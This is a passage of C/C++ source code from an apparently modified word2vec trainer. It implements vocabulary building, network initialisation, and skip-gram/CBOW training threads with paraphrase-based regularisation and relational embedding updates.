i++;\n b = parent_node[b];\n if (b == vocab_size * 2 - 2) break;\n }\n vocab[a].codelen = i;\n vocab[a].point[0] = vocab_size - 2;\n for (b = 0; b < i; b++) {\n vocab[a].code[i - b - 1] = code[b];\n vocab[a].point[i - b] = point[b] - vocab_size;\n }\n }\n free(count);\n free(binary);\n free(parent_node);\n}\n\nvoid LearnVocabFromTrainFile() {\n char word[MAX_STRING];\n FILE *fin;\n long long a, i;\n for (a = 0; a < vocab_hash_size; a++) vocab_hash[a] = -1;\n fin = fopen(train_file, \"rb\");\n if (fin == NULL) {\n printf(\"ERROR: training data file not found!\\n\");\n exit(1);\n }\n vocab_size = 0;\n AddWordToVocab((char *)\"</s>\");\n while (1) {\n ReadWord(word, fin);\n if (feof(fin)) break;\n train_words++;\n if ((debug_mode > 1) && (train_words % 1000000 == 0)) {\n printf(\"%lldK%c\", train_words / 1000, '\\n');\n fflush(stdout);\n }\n i = SearchVocab(word);\n if (i == -1) {\n a = AddWordToVocab(word);\n vocab[a].cn = 1;\n } else vocab[i].cn++;\n if (vocab_size > vocab_hash_size * 0.7) ReduceVocab();\n }\n\n // RelationalData\n if (rdata) {\n for (auto &relation_word : rdata->relations) {\n i = SearchVocab(relation_word.first.c_str());\n if (i == -1) {\n a = AddWordToVocab(relation_word.first.c_str());\n vocab[a].cn = relation_word.second;\n } else vocab[i].cn += relation_word.second;\n }\n }\n // RelationData End\n\n SortVocab();\n if (debug_mode > 0) {\n printf(\"Vocab size: %lld\\n\", vocab_size);\n printf(\"Words in train file: %lld\\n\", train_words);\n }\n file_size = ftell(fin);\n fclose(fin);\n}\n\nvoid SaveVocab() {\n long long i;\n FILE *fo = fopen(save_vocab_file, \"wb\");\n for (i = 0; i < vocab_size; i++) fprintf(fo, \"%s %lld\\n\", vocab[i].word, vocab[i].cn);\n fclose(fo);\n}\n\nvoid ReadVocab() {\n long long a, i = 0;\n char c;\n char word[MAX_STRING];\n FILE *fin = fopen(read_vocab_file, \"rb\");\n if (fin == NULL) {\n printf(\"Vocabulary file not found\\n\");\n exit(1);\n }\n for (a = 0; a < vocab_hash_size; a++) vocab_hash[a] = -1;\n vocab_size = 0;\n while (1) {\n ReadWord(word, fin);\n if (feof(fin)) break;\n a = AddWordToVocab(word);\n fscanf(fin, \"%lld%c\", &vocab[a].cn, &c);\n i++;\n }\n SortVocab();\n if (debug_mode > 0) {\n printf(\"Vocab size: %lld\\n\", vocab_size);\n printf(\"Words in train file: %lld\\n\", train_words);\n }\n fin = fopen(train_file, \"rb\");\n if (fin == NULL) {\n printf(\"ERROR: training data file not found!\\n\");\n exit(1);\n }\n fseek(fin, 0, SEEK_END);\n file_size = ftell(fin);\n fclose(fin);\n}\n\nvoid InitNet() {\n long long a, b;\n a = posix_memalign((void **)&syn0, 128, (long long)vocab_size * layer1_size * sizeof(real));\n if (syn0 == NULL) {printf(\"Memory allocation failed\\n\"); exit(1);}\n if (hs) {\n a = posix_memalign((void **)&syn1, 128, (long long)vocab_size * layer1_size * sizeof(real));\n if (syn1 == NULL) {printf(\"Memory allocation failed\\n\"); exit(1);}\n for (b = 0; b < layer1_size; b++) for (a = 0; a < vocab_size; a++)\n syn1[a * layer1_size + b] = 0;\n }\n if (negative>0) {\n a = posix_memalign((void **)&syn1neg, 128, (long long)vocab_size * layer1_size * sizeof(real));\n if (syn1neg == NULL) {printf(\"Memory allocation failed\\n\"); exit(1);}\n for (b = 0; b < layer1_size; b++) for (a = 0; a < vocab_size; a++)\n syn1neg[a * layer1_size + b] = (rand() / (real)RAND_MAX - 0.5) / layer1_size;\n //syn1neg[a * layer1_size + b] = 0;\n }\n for (b = 0; b < layer1_size; b++) for (a = 0; a < vocab_size; a++)\n syn0[a * layer1_size + b] = (rand() / (real)RAND_MAX - 0.5) / layer1_size;\n\n if (pretrain) LoadEmb(pretrain_file);\n //else for (b = 0; b < layer1_size; b++) for (a = 0; a < vocab_size; a++)\n // syn1neg[a * layer1_size + b] = (rand() / (real)RAND_MAX - 0.5) / layer1_size;\n\n CreateBinaryTree();\n}\n\nvoid *TrainRelationVectorThread(void *id){\n //relationconfig\n if (use_relational && negative > 0 and rdata != NULL) {\n long long head_id, tail_id, relation_id;\n long long update_relation_word_count = 0;\n long long c, d, target, label, l2;\n unsigned long long next_random = (long long)id;\n real f, g;\n real *neu1 = (real *)calloc(layer1_size, sizeof(real));\n real *neu1e = (real *)calloc(layer1_size, sizeof(real));\n unordered_map<string, vector<pair<string, string>>> &dataset = rdata->dataset;\n for (int ep = 0; ep < epochs; ep++) {\n printf(\"TrainRelationVectorThread: ep:%d, update_relation_word_count:%lld\\n\", ep, update_relation_word_count);\n for (auto iter = dataset.begin(); iter != dataset.end(); iter++) {\n for (auto pair_iter = iter->second.begin(); pair_iter != iter->second.end(); pair_iter++) {\n head_id = SearchVocab(iter->first.c_str());\n relation_id = SearchVocab(pair_iter->first.c_str());\n tail_id = SearchVocab(pair_iter->second.c_str());\n if (head_id == -1 || relation_id == -1 || tail_id == -1) continue;\n update_relation_word_count++;\n // sum of h + r\n for (c = 0; c < layer1_size; c++) neu1[c] = 0;\n for (c = 0; c < layer1_size; c++) {\n // update word vector\n neu1[c] += syn0[c + head_id * layer1_size] + syn0[c + relation_id * layer1_size];\n //neu1[c] += syn1neg[c + head_id * layer1_size] + syn1neg[c + relation_id * layer1_size];\n }\n for (c = 0; c < layer1_size; c++) neu1e[c] = 0;\n // NEGATIVE SAMPLING\n // sample with tail\n if (negative > 0) for (d = 0; d < negative + 1; d++) {\n if (d == 0) {\n target = tail_id;\n label = 1;\n } else {\n next_random = next_random * (unsigned long long)25214903917 + 11;\n target = table[(next_random >> 16) % table_size];\n if (target == 0) target = next_random % (vocab_size - 1) + 1;\n if (target == tail_id) continue;\n label = 0;\n }\n l2 = target * layer1_size;\n f = 0;\n for (c = 0; c < layer1_size; c++) f += neu1[c] * syn0[c + l2];\n //for (c = 0; c < layer1_size; c++) f += neu1[c] * syn1neg[c + l2];\n if (f > MAX_EXP) g = (label - 1) * gamma_value;\n else if (f < -MAX_EXP) g = (label - 0) * gamma_value;\n else g = (label - expTable[(int)((f + MAX_EXP) * (EXP_TABLE_SIZE / MAX_EXP / 2))]) * gamma_value;\n //accumulated for e{h + r}\n for (c = 0; c < layer1_size; c++)\n neu1e[c] += g * syn0[l2 + c];\n //neu1e[c] += g * syn1neg[l2 + c];\n //update e{t}\n for (c = 0; c < layer1_size; c++) {\n syn0[c + l2] += g * neu1[c];\n //syn1neg[c + l2] += g * neu1[c];\n }\n }\n // update e{h} and e{r}\n for (c = 0; c < layer1_size; c++) {\n syn0[c + head_id * layer1_size] += neu1e[c];\n syn0[c + relation_id * layer1_size] += neu1e[c];\n //syn1neg[c + head_id * layer1_size] += neu1e[c];\n //syn1neg[c + relation_id * layer1_size] += neu1e[c];\n }\n }\n }\n }\n free(neu1);\n free(neu1e);\n }\n return 0;\n}\n\nvoid *TrainModelRegThread(void *id) {\n long long a, b, d, word, last_word, sentence_length = 0, sentence_position = 0;\n long long word_count = 0, last_word_count = 0, sen[MAX_SENTENCE_LENGTH + 1];\n long long l1, l2, c, target, label;\n unsigned long long next_random = (long long)id;\n real f, g;\n clock_t now;\n real *neu1 = (real *)calloc(layer1_size, sizeof(real));\n real *neu1e = (real *)calloc(layer1_size, sizeof(real));\n FILE *fi = fopen(train_file, \"rb\");\n fseek(fi, file_size / (long long)num_threads * (long long)id, SEEK_SET);\n while (1) {\n if (word_count - last_word_count > 10000) {\n word_count_actual += word_count - last_word_count;\n last_word_count = word_count;\n if ((debug_mode > 1)) {\n now=clock();\n printf(\"%cAlpha: %f Progress: %.2f%% Words/thread/sec: %.2fk \", 13, alpha,\n word_count_actual / (real)(train_words + 1) * 100,\n word_count_actual / ((real)(now - start + 1) / (real)CLOCKS_PER_SEC * 1000));\n fflush(stdout);\n }\n alpha = starting_alpha * (1 - word_count_actual / (real)(train_words + 1));\n if (alpha < starting_alpha * 0.0001) alpha = starting_alpha * 0.0001;\n }\n if (sentence_length == 0) {\n while (1) {\n word = ReadWordIndex(fi);\n if (feof(fi)) break;\n if (word == -1) continue;\n word_count++;\n if (word == 0) break;\n // The subsampling randomly discards frequent words while keeping the ranking same\n if (sample > 0) {\n real ran = (sqrt(vocab[word].cn / (sample * train_words)) + 1) * (sample * train_words) / vocab[word].cn;\n next_random = next_random * (unsigned long long)25214903917 + 11;\n if (ran < (next_random & 0xFFFF) / (real)65536) continue;\n }\n sen[sentence_length] = word;\n sentence_length++;\n if (sentence_length >= MAX_SENTENCE_LENGTH) break;\n }\n sentence_position = 0;\n }\n if (feof(fi)) break;\n if (word_count > train_words / num_threads) break;\n word = sen[sentence_position];\n if (word == -1) continue;\n for (c = 0; c < layer1_size; c++) neu1[c] = 0;\n for (c = 0; c < layer1_size; c++) neu1e[c] = 0;\n next_random = next_random * (unsigned long long)25214903917 + 11;\n b = next_random % window;\n if (cbow) { //train the cbow architecture\n // in -> hidden\n for (a = b; a < window * 2 + 1 - b; a++) if (a != window) {\n c = sentence_position - window + a;\n if (c < 0) continue;\n if (c >= sentence_length) continue;\n last_word = sen[c];\n if (last_word == -1) continue;\n for (c = 0; c < layer1_size; c++) neu1[c] += syn0[c + last_word * layer1_size];\n }\n // NEGATIVE SAMPLING\n if (negative > 0) for (d = 0; d < negative + 1; d++) {\n if (d == 0) {\n target = word;\n label = 1;\n } else {\n next_random = next_random * (unsigned long long)25214903917 + 11;\n target = table[(next_random >> 16) % table_size];\n if (target == 0) target = next_random % (vocab_size - 1) + 1;\n if (target == word) continue;\n label = 0;\n }\n l2 = target * layer1_size;\n f = 0;\n for (c = 0; c < layer1_size; c++) f += neu1[c] * syn1neg[c + l2];\n if (f > MAX_EXP) g = (label - 1) * alpha;\n else if (f < -MAX_EXP) g = (label - 0) * alpha;\n else g = (label - expTable[(int)((f + MAX_EXP) * (EXP_TABLE_SIZE / MAX_EXP / 2))]) * alpha;\n for (c = 0; c < layer1_size; c++) neu1e[c] += g * syn1neg[c + l2];\n for (c = 0; c < layer1_size; c++) syn1neg[c + l2] += g * neu1[c];\n }\n // hidden -> in\n for (a = b; a < window * 2 + 1 - b; a++) if (a != window) {\n c = sentence_position - window + a;\n if (c < 0) continue;\n if (c >= sentence_length) continue;\n last_word = sen[c];\n if (last_word == -1) continue;\n l1 = last_word * layer1_size;\n\n // baihan\n // the word of context will be used for pp\n //todo:\n vector<string> pplist;\n if (reg_in) {\n // Regularizations\n //vector<string>* pplist = pp->GetList(vocab[last_word].word);\n pp->GetList(vocab[last_word].word, pplist);\n //if (NULL == pplist) continue;\n if (pplist.size() != 0){\n unsigned long length = pplist.size();\n for (c = 0; c < layer1_size; c++) neu1[c] = 0;\n for(vector<string>::iterator iter = pplist.begin(); iter != pplist.end(); iter++){\n int id = SearchVocab((char*)iter->c_str());\n if (id != -1) {\n long long l = id * layer1_size;\n for (c = 0; c < sem_dim; c++) neu1[c] += syn0[c + l];\n }\n else\n {\n length--;\n }\n }\n\n if (length != 0) {\n //update pp words\n for(vector<string>::iterator iter = pplist.begin(); iter != pplist.end(); iter++){\n int id = SearchVocab((char*)iter->c_str());\n if (id != -1) {\n long long l = id * layer1_size;\n for (c = 0; c < sem_dim; c++) syn0[c + l] -= alpha * lambda / length * (syn0[c + l] - syn0[c + l1]);\n }\n }\n\n //update central word\n for (c = 0; c < sem_dim; c++) syn0[c + l1] += alpha * lambda * (neu1[c] / length - syn0[c + l1]);\n }\n }\n }\n for (c = 0; c < layer1_size; c++) syn0[c + last_word * layer1_size] += neu1e[c];\n //currently we assume that words in the window are unlikely to have overlaped pp-lists. Thus the embedding updated here will be unlikely to change the gradients for the regularization terms of other words.\n }\n vector<string> pplist;\n if (reg_out) {\n if(negative > 0){\n pp->GetList(vocab[word].word, pplist);\n if(0 != pplist.size()) {\n l2 = word * layer1_size;\n\n unsigned long length = pplist.size();\n for (c = 0; c < layer1_size; c++) neu1e[c] = 0;\n for(vector<string>::iterator iter = pplist.begin(); iter != pplist.end(); iter++){\n int id = SearchVocab((char*)iter->c_str());\n if (id != -1) {\n long long l = id * layer1_size;\n for (c = 0; c < layer1_size; c++) neu1e[c] += syn1neg[c + l];\n }\n else\n {\n length--;\n }\n }\n\n if (length != 0) {\n //update pp words\n for(vector<string>::iterator iter = pplist.begin(); iter != pplist.end(); iter++){\n int id = SearchVocab((char*)iter->c_str());\n if (id != -1) {\n long long l = id * layer1_size;\n for (c = 0; c < layer1_size; c++) syn1neg[c + l] -= alpha * lambda / length * (syn1neg[c + l] - syn1neg[c + l2]);\n }\n }\n\n //update central word\n for (c = 0; c < layer1_size; c++) syn1neg[c + l2] += alpha * lambda * (neu1e[c] / length - syn1neg[c + l2]);\n }\n }\n }\n }\n }\n else if(!cbow) { //train skip-gram\n for (a = b; a < window * 2 + 1 - b; a++) if (a != window) {\n c = sentence_position - window + a;\n if (c < 0) continue;\n if (c >= sentence_length) continue;\n last_word = sen[c];\n if (last_word == -1) continue;\n l1 = last_word * layer1_size;\n for (c = 0; c < layer1_size; c++) neu1e[c] = 0;\n // HIERARCHICAL SOFTMAX\n if (hs) for (d = 0; d < vocab[word].codelen; d++) {\n f = 0;\n l2 = vocab[word].point[d] * layer1_size;\n // Propagate hidden -> output\n for (c = 0; c < layer1_size; c++) f += syn0[c + l1] * syn1[c + l2];\n if (f <= -MAX_EXP) continue;\n else if (f >= MAX_EXP) continue;\n else f = expTable[(int)((f + MAX_EXP) * (EXP_TABLE_SIZE / MAX_EXP / 2))];\n // 'g' is the gradient multiplied by the learning rate\n g = (1 - vocab[word].code[d] - f) * alpha;\n // Propagate errors output -> hidden\n for (c = 0; c < layer1_size; c++) neu1e[c] += g * syn1[c + l2];\n // Learn weights hidden -> output\n for (c = 0; c < layer1_size; c++) syn1[c + l2] += g * syn0[c + l1];\n }\n // NEGATIVE SAMPLING\n if (negative > 0 && !weight_tying) for (d = 0; d < negative + 1; d++) {\n if (d == 0) {\n target = word;\n label = 1;\n } else {\n next_random = next_random * (unsigned long long)25214903917 + 11;\n target = table[(next_random >> 16) % table_size];\n if (target == 0) target = next_random % (vocab_size - 1) + 1;\n if (target == word) continue;\n label = 0;\n }\n l2 = target * layer1_size;\n f = 0;\n for (c = 0; c < layer1_size; c++) f += syn0[c + l1] * syn1neg[c + l2];\n if (f > MAX_EXP) g = (label - 1) * alpha;\n else if (f < -MAX_EXP) g = (label - 0) * alpha;\n else g = (label - expTable[(int)((f + MAX_EXP) * (EXP_TABLE_SIZE / MAX_EXP / 2))]) * alpha;\n for (c = 0; c < layer1_size; c++) neu1e[c] += g * syn1neg[c + l2];\n for (c = 0; c < layer1_size; c++) syn1neg[c + l2] += g * syn0[c + l1];\n }\n // WEIGHT-TYING NEGATIVE SAMPLING\n if (weight_tying > 0) for (d = 0; d < negative + 1; d++) {\n if (d == 0) {\n target = word;\n label = 1;\n } else {\n next_random = next_random * (unsigned long long)25214903917 + 11;\n target = table[(next_random >> 16) % table_size];\n if (target == 0) target = next_random % (vocab_size - 1) + 1;\n if (target == word) continue;\n label = 0;\n }\n l2 = target * layer1_size;\n f = 0;\n for (c = 0; c < layer1_size; c++) f += syn0[c + l1] * syn0[c + l2];\n if (f > MAX_EXP) g = (label - 1) * alpha;\n else if (f < -MAX_EXP) g = (label - 0) * alpha;\n else g = (label - expTable[(int)((f + MAX_EXP) * (EXP_TABLE_SIZE / MAX_EXP / 2))]) * alpha;\n for (c = 0; c < layer1_size; c++) neu1e[c] += g * syn0[c + l2];\n for (c = 0; c < layer1_size; c++) syn0[c + l2] += g * syn0[c + l1];\n }\n // Learn weights input -> hidden\n for (c = 0; c < layer1_size; c++) syn0[c + l1] += neu1e[c];\n vector<string> pplist;\n if (reg_in) {\n // Regularizations\n //vector<string>* pplist = pp->GetList(vocab[last_word].word);\n pp->GetList(vocab[last_word].word, pplist);\n //if (NULL == pplist) continue;\n if (pplist.size() == 0) continue;\n\n unsigned long length = pplist.size();\n for (c = 0; c < layer1_size; c++) neu1e[c] = 0;\n for(vector<string>::iterator iter = pplist.begin(); iter != pplist.end(); iter++){\n int id = SearchVocab((char*)iter->c_str());\n if (id != -1) {\n long long l = id * layer1_size;\n for (c = 0; c < layer1_size; c++) neu1e[c] += syn0[c + l];\n }\n else\n {\n length--;\n }\n }\n\n if (length == 0) {\n continue;\n }\n\n //update pp words\n for(vector<string>::iterator iter = pplist.begin(); iter != pplist.end(); iter++){\n int id = SearchVocab((char*)iter->c_str());\n if (id != -1) {\n long long l = id * layer1_size;\n for (c = 0; c < layer1_size; c++) syn0[c + l] -= alpha * lambda / length * (syn0[c + l] - syn0[c + l1]);\n }\n }\n\n //update central word\n for (c = 0; c < layer1_size; c++) syn0[c + l1] += alpha * lambda * (neu1e[c] / length - syn0[c + l1]);\n }\n\n if (reg_out) {\n if(negative > 0 && !weight_tying){\n // Regularizations\n //vector<string>* pplist = pp->GetList(vocab[word].word);\n pp->GetList(vocab[word].word, pplist);\n //if (NULL == pplist) continue;\n if(0 == pplist.size()) continue;\n l2 = word * layer1_size;\n\n unsigned long length = pplist.size();\n for (c = 0; c < layer1_size; c++) neu1e[c] = 0;\n for(vector<string>::iterator iter = pplist.begin(); iter != pplist.end(); iter++){\n int id = SearchVocab((char*)iter->c_str());\n if (id != -1) {\n long long l = id * layer1_size;\n for (c = 0; c < layer1_size; c++) neu1e[c] += syn1neg[c + l];\n }\n else\n {\n length--;\n }\n }\n\n if (length == 0) {\n continue;\n }\n\n //update pp words\n for(vector<string>::iterator iter = pplist.begin(); iter != pplist.end(); iter++){\n int id = SearchVocab((char*)iter->c_str());\n if (id != -1) {\n long long l = id * layer1_size;\n for (c = 0; c < layer1_size; c++) syn1neg[c + l] -= alpha * lambda / length * (syn1neg[c + l] - syn1neg[c + l2]);\n }\n }\n\n //update central word\n for (c = 0; c < layer1_size; c++) syn1neg[c + l2] += alpha * lambda * (neu1e[c] / length - syn1neg[c + l2]);\n }\n if(weight_tying > 0){\n // Regularizations\n //vector<string>* pplist = pp->GetList(vocab[word].word);\n pp->GetList(vocab[word].word, pplist);\n //if (NULL == pplist) continue;\n if(0 == pplist.size()) continue;\n l2 = word * layer1_size;\n\n unsigned long length = pplist.size();\n for (c = 0; c < layer1_size; c++) neu1e[c] = 0;\n for(vector<string>::iterator iter = pplist.begin(); iter != pplist.end(); iter++){\n int id = SearchVocab((char*)iter->c_str());\n if (id != -1) {\n long long l = id * layer1_size;\n for (c = 0; c < layer1_size; c++) neu1e[c] += syn0[c + l];\n }\n else\n {\n length--;\n }\n }\n\n if (length == 0) {\n continue;\n }\n\n //update pp words\n for(vector<string>::iterator iter = pplist.begin(); iter != pplist.end(); iter++){\n int id = SearchVocab((char*)iter->c_str());\n if (id != -1) {\n long long l = id * layer1_size;\n for (c = 0; c < layer1_size; c++) syn0[c + l] -= alpha * lambda / length * (syn0[c + l] - syn0[c + l2]);\n }\n }\n\n //update central word\n for (c = 0; c < layer1_size; c++) syn0[c + l2] += alpha * lambda * (neu1e[c] / length - syn0[c + l2]);\n }\n if (hs) {\n //vector<string>* pplist = pp->GetList(vocab[word].word);\n //if (NULL == pplist) continue;\n pp->GetList(vocab[word].word, pplist);\n if (0 == pplist.size()) continue;\n\n unsigned long length = pplist.size();\n l2 = vocab[word].point[vocab[word].codelen - 1] * layer1_size;\n for (c = 0; c < layer1_size; c++) neu1e[c] = 0;\n for(vector<string>::iterator iter = pplist.begin(); iter != pplist.end(); iter++){\n int id = SearchVocab((char*)iter->c_str());\n if (id != -1) {\n long long l = vocab[id].point[vocab[id].codelen - 1] * layer1_size;\n for (c = 0; c < layer1_size; c++) neu1e[c] += syn1[c + l];\n }\n else\n {\n length--;\n }\n }\n\n if (length == 0) {\n continue;\n }\n\n //update pp words\n for(vector<string>::iterator iter = pplist.begin(); iter != pplist.end(); iter++){\n int id = SearchVocab((char*)iter->c_str());\n if (id != -1) {\n long long l = vocab[id].point[vocab[id].codelen - 1] * layer1_size;\n for (c = 0; c < layer1_size; c++) syn1[c + l] -= alpha * lambda / length * (syn1[c + l] - syn1[c + l2]);\n }\n }\n\n //update central word\n for (c = 0; c < layer1_size; c++) syn1[c + l2] += alpha * lambda * (neu1e[c] / length - syn1[c + l2]);\n }\n }\n }\n }\n sentence_position++;\n if (sentence_position >= sentence_length) {\n sentence_length = 0;\n continue;\n }\n }\n fclose(fi);\n free(neu1);\n free(neu1e);\n pthread_exit(NULL);\n}\n\nvoid *TrainModelRegNCEThread(void *id) {\n long long a, b, d, word, last_word, sentence_length = 0, sentence_position = 0;\n long long word_count = 0, last_word_count = 0, sen[MAX_SENTENCE_LENGTH + 1];\n long long l1, l2, c, target, label;\n unsigned long long next_random = (long long)id;\n //long long word_actual_old = 0;\n //long long part = train_words / 10;\n real f, g;\n clock_t now;\n real *neu1 = (real *)calloc(layer1_size, sizeof(real));\n real *neu1e = (real *)calloc(layer1_size, sizeof(real));\n int pp_count = 0;\n //int pp_last_count = 0;\n long long update_pp_word_count = 0, update_relation_word_count = 0;\n //int train_pp_total = epochs * pp->ppdict.size();\n FILE *fi = fopen(train_file, \"rb\");\n //FILE *fi = fopen(\"/Users/gflfof/Desktop/new work/phrase_embedding/trunk/trainword.txt\", \"rb\");\n //train_pp_total = 0;\n// while (1) {\n// word = ReadWordIndex(fi);\n// if (word != 0) train_pp_total++;\n// if (feof(fi)) break;\n// }\n //train_pp_total--;\n //train_pp_total *= epochs;\n //train_pp_total *= 1;\n //file_size = ftell(fi);\n cout << \"reg_out:\" << reg_out << \", negative:\" << negative << endl;\n for (int ep = 0; ep < 1; ep++) {\n fseek(fi, file_size / (long long)num_threads * (long long)id, SEEK_SET);\n\n while (1) {\n if (word_count - last_word_count > 500000) {\n //word_actual_old = word_count_actual;\n word_count_actual += word_count - last_word_count;\n //if (word_count_actual / part == word_actual_old / part + 1) {\n // evaluateMRRout(10000, ppeval);\n //}\n last_word_count = word_count;\n if ((debug_mode > 1)) {\n now=clock();\n printf(\"%cAlpha: %f Progress: %.2f%% Words/thread/sec: %.2fk update pp count:%lld update relation count:%lld\", '\\n', alpha,\n word_count_actual / (real)(train_words + 1) * 100,\n word_count_actual / ((real)(now - start + 1) / (real)CLOCKS_PER_SEC * 1000),\n update_pp_word_count, update_relation_word_count);\n fflush(stdout);\n }\n alpha = starting_alpha * (1 - word_count_actual / (real)(train_words + 1));\n if (alpha < starting_alpha * 0.0001) alpha = starting_alpha * 0.0001;\n }\n //if (pp_count - pp_last_count >= 5000){\n //pp_count_actual += pp_count - pp_last_count;\n //pp_last_count = pp_count;\n //now=clock();\n //printf(\"%cLambda: %f Progress: %.2f%% Words/thread/sec: %.2fk \", 13, lambda,\n //pp_count_actual / (real)(train_pp_total + 1) * 100,\n //pp_count_actual / ((real)(now - start + 1) / (real)CLOCKS_PER_SEC * 1000));\n //lambda = starting_lambda * (1 - pp_count_actual / (real)(train_pp_total + 1));\n //if (lambda < starting_lambda * 0.0001) lambda = starting_lambda * 0.0001;\n //}\n if (sentence_length == 0) {\n while (1) {\n word = ReadWordIndex(fi);\n if (feof(fi)) break;\n if (word == -1) continue;\n word_count++;\n if (word == 0) break;\n // The subsampling randomly discards frequent words while keeping the ranking same\n if (sample > 0) {\n real ran = (sqrt(vocab[word].cn / (sample * train_words)) + 1) * (sample * train_words) / vocab[word].cn;\n next_random = next_random * (unsigned long long)25214903917 + 11;\n if (ran < (next_random & 0xFFFF) / (real)65536) continue;\n }\n sen[sentence_length] = word;\n sentence_length++;\n if (sentence_length >= MAX_SENTENCE_LENGTH) break;\n }\n sentence_position = 0;\n }\n if (feof(fi)) break;\n if (sentence_length == 0) continue;\n if (word_count > train_words / num_threads) break;\n //if (pp_count > train_pp_total / num_threads) break;\n word = sen[sentence_position];\n if (word == -1) continue;\n for (c = 0; c < layer1_size; c++) neu1[c] = 0;\n for (c = 0; c < layer1_size; c++) neu1e[c] = 0;\n //next_random = next_random * (unsigned long long)25214903917 + 11;\n b = next_random % window;\n if (cbow) { //train the cbow architecture\n if(word2vec){\n // in -> hidden\n for (a = b; a < window * 2 + 1 - b; a++) if (a != window) {\n c = sentence_position - window + a;\n if (c < 0) continue;\n if (c >= sentence_length) continue;\n last_word = sen[c];\n if (last_word == -1) continue;\n for (c = 0; c < layer1_size; c++) neu1[c] += syn0[c + last_word * layer1_size];\n }\n // NEGATIVE SAMPLING\n if (negative > 0) for (d = 0; d < negative + 1; d++) {\n if (d == 0) {\n target = word;\n label = 1;\n } else {\n next_random = next_random * (unsigned long long)25214903917 + 11;\n target = table[(next_random >> 16) % table_size];\n if (target == 0) target = next_random % (vocab_size - 1) + 1;\n if (target == word) continue;\n label = 0;\n }\n l2 = target * layer1_size;\n f = 0;\n for (c = 0; c < layer1_size; c++) f += neu1[c] * syn1neg[c + l2];\n if (f > MAX_EXP) g = (label - 1) * alpha;\n else if (f < -MAX_EXP) g = (label - 0) * alpha;\n else g = (label - expTable[(int)((f + MAX_EXP) * (EXP_TABLE_SIZE / MAX_EXP / 2))]) * alpha;\n for (c = 0; c < layer1_size; c++) neu1e[c] += g * syn1neg[c + l2];\n for (c = 0; c < layer1_size; c++) syn1neg[c + l2] += g * neu1[c];\n }\n // hidden -> in\n for (a = b; a < window * 2 + 1 - b; a++) if (a != window) {\n c = sentence_position - window + a;\n if (c < 0) continue;\n if (c >= sentence_length) continue;\n last_word = sen[c];\n if (last_word == -1) continue;\n for (c = 0; c < layer1_size; c++) syn0[c + last_word * layer1_size] += neu1e[c];\n }\n }\n //ppconfig\n if (reg_out) {\n if(negative > 0){\n word2dict::iterator iter_pair = pp->ppdict.find(vocab[word].word);\n //cout << pp_count << \" \" << vocab[word].word << \" \";\n if (iter_pair != pp->ppdict.end()){\n for(word2int::iterator iter = iter_pair->second.begin(); iter != iter_pair->second.end(); iter++){\n last_word = SearchVocab((char*)iter->first.c_str());\n if (last_word == -1) continue;\n update_pp_word_count += 1;\n l1 = last_word * layer1_size;\n for (c = 0; c < layer1_size; c++) neu1[c] = 0;\n // NEGATIVE SAMPLING // todo gradient\n if (negative > 0 ) for (d = 0; d < negative + 1; d++) {\n if (d == 0) {\n target = word;\n label = 1;\n } else {\n next_random = next_random * (unsigned long long)25214903917 + 11;\n target = table[(next_random >> 16) % table_size];\n if (target == 0) target = next_random % (vocab_size - 1) + 1;\n if (target == word) continue;\n label = 0;\n }\n //cout << target << \" \";\n //cout << vocab[target].word << \" \";\n l2 = target * layer1_size;\n f = 0;\n for (c = 0; c < layer1_size; c++) f += syn1neg[c + l1] * syn1neg[c + l2];\n if (f > MAX_EXP) g = (label - 1) * lambda;\n else if (f < -MAX_EXP) g = (label - 0) * lambda;\n else g = (label - expTable[(int)((f + MAX_EXP) * (EXP_TABLE_SIZE / MAX_EXP / 2))]) * lambda;\n // TODO\n // baihan\n // update syn0 (update word vector directly)\n\n // neu1 here is\n // lambda * (sigmoid - label) * theta\n for (c = 0; c < layer1_size; c++) neu1[c] += g * syn1neg[c + l2];\n //for (c = 0; c < layer1_size; c++) neu1[c] += g * syn0[c + l2];\n // semantic relation is symmetrical\n // update theta itself\n for (c = 0; c < layer1_size; c++) syn1neg[c + l2] += g * syn1neg[c + l1];\n //printf(\"c+l2:%lld, c+l1:%lld,g*syn0:%f,syn0:%f\\r\", c + l2, c + l1, g * syn1neg[c+l1], syn1neg[c+l2]);\n //for (c = 0; c < layer1_size; c++) {\n //printf(\"c+l2:%lld, c+l1:%lld,g*syn0:%llf,syn0:%llf\\r\", c + l2, c + l1, g * syn0[c+l1], syn0[c+l2]);\n //syn0[c + l2] += g * syn0[c + l1];\n //}\n }\n // finally update accumulated sum\n // refer to the paper\n for (c = 0; c < layer1_size; c++) syn1neg[c + l1] += neu1[c];\n //for (c = 0; c < layer1_size; c++) syn0[c + l1] += neu1[c];\n }\n }\n //cout << endl;\n pp_count++;\n }\n }\n\n //relationconfig\n if (use_relational && negative > 0 and rdata != NULL) {\n long long head_id, tail_id, relation_id;\n unordered_map<string, vector<pair<string, string>>> &dataset = rdata->dataset;\n auto iter = dataset.find(string(vocab[word].word));\n if (iter != dataset.end()) {\n for (auto pair_iter = iter->second.begin(); pair_iter != iter->second.end(); pair_iter++) {\n head_id = SearchVocab(iter->first.c_str());\n relation_id = SearchVocab(pair_iter->first.c_str());\n tail_id = SearchVocab(pair_iter->second.c_str());\n if (head_id == -1 || relation_id == -1 || tail_id == -1) continue;\n update_relation_word_count++;\n // sum of h + r\n for (c = 0; c < layer1_size; c++) neu1[c] = 0;\n for (c = 0; c < layer1_size; c++) {\n // update word vector\n neu1[c] += syn0[c + head_id * layer1_size] + syn0[c + relation_id * layer1_size];\n //neu1[c] += syn1neg[c + head_id * layer1_size] + syn1neg[c + relation_id * layer1_size];\n }\n for (c = 0; c < layer1_size; c++) neu1e[c] = 0;\n // NEGATIVE SAMPLING\n // sample with tail\n if (negative > 0) for (d = 0; d < negative + 1; d++) {\n if (d == 0) {\n target = tail_id;\n label = 1;\n } else {\n next_random = next_random * (unsigned long long)25214903917 + 11;\n target = table[(next_random >> 16) % table_size];\n if (target == 0) target = next_random % (vocab_size - 1) + 1;\n if (target == tail_id) continue;\n label = 0;\n }\n l2 = target * layer1_size;\n f = 0;\n for (c = 0; c < layer1_size; c++) f += neu1[c] * syn0[c + l2];\n //for (c = 0; c < layer1_size; c++) f += neu1[c] * syn1neg[c + l2];\n if (f > MAX_EXP) g = (label - 1) * gamma_value;\n else if (f < -MAX_EXP) g = (label - 0) * gamma_value;\n else g = (label - expTable[(int)((f + MAX_EXP) * (EXP_TABLE_SIZE / MAX_EXP / 2))]) * gamma_value;\n //accumulated for e{h + r}\n for (c = 0; c < layer1_size; c++)\n neu1e[c] += g * syn0[l2 + c];\n //neu1e[c] 